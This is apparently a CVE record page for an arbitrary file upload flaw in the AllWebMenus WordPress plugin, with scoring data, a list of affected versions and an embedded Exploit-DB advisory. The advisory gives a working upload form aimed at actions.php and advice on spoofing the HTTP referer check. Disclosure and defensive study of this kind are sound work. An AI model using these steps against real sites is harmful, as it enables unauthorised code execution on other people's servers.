Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 18407
Publication date : 2012-01-21 23h00 +00:00
Author : 6Scan
EDB Verified : No
#Exploit Title: AllWebMenus WordPress Menu Plugin Arbitrary file upload
#Version: < 1.1.9
#Date: 2012-01-19
#Author: 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/
#Official fix: This advisory is released after the vendor was contacted and fixed the issue promptly.
#Description: Unauthorized users could upload arbitrary files to the vulnerable server, potentially executing commands
AllWebMenus WordPress Menu Plugin
<1.1.8 Remote File upload
On versions < 1.1.8 , lack of checks in script actions.php allowed malicious user to upload any file to the vulnerable server.
Create a file (For example, Wordpress_security.php , with this content <?php echo '6Scan to the rescue'; ?> )
Compress it with zip to awm.zip
Use this form to upload the php file to the server
<form action="http://server/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php" method=post enctype="multipart/form-data">
<input type="file" name="awm1" size=100>
<input type="hidden" name="AWM_menu_id" value="2134234">
<input type="hidden" name="theaction" value="zip_update">
<input type=submit>
</form>
Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to
"wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php"
Products Mentioned
Configuraton 0
Likno>>Allwebmenus_plugin >> Version To (including) 1.1.7
Likno>>Allwebmenus_plugin >> Version 1.0.1
Likno>>Allwebmenus_plugin >> Version 1.0.3
Likno>>Allwebmenus_plugin >> Version 1.0.4
Likno>>Allwebmenus_plugin >> Version 1.0.9
Likno>>Allwebmenus_plugin >> Version 1.0.10
Likno>>Allwebmenus_plugin >> Version 1.0.11
Likno>>Allwebmenus_plugin >> Version 1.0.12
Likno>>Allwebmenus_plugin >> Version 1.0.17
Likno>>Allwebmenus_plugin >> Version 1.0.18
Likno>>Allwebmenus_plugin >> Version 1.0.19
Likno>>Allwebmenus_plugin >> Version 1.0.20
Likno>>Allwebmenus_plugin >> Version 1.0.21
Likno>>Allwebmenus_plugin >> Version 1.0.22
Likno>>Allwebmenus_plugin >> Version 1.0.23
Likno>>Allwebmenus_plugin >> Version 1.0.24
Likno>>Allwebmenus_plugin >> Version 1.1.1
Likno>>Allwebmenus_plugin >> Version 1.1.2
Likno>>Allwebmenus_plugin >> Version 1.1.3
Likno>>Allwebmenus_plugin >> Version 1.1.4
Likno>>Allwebmenus_plugin >> Version 1.1.5
Likno>>Allwebmenus_plugin >> Version 1.1.6
Wordpress>>Wordpress >> Version *
References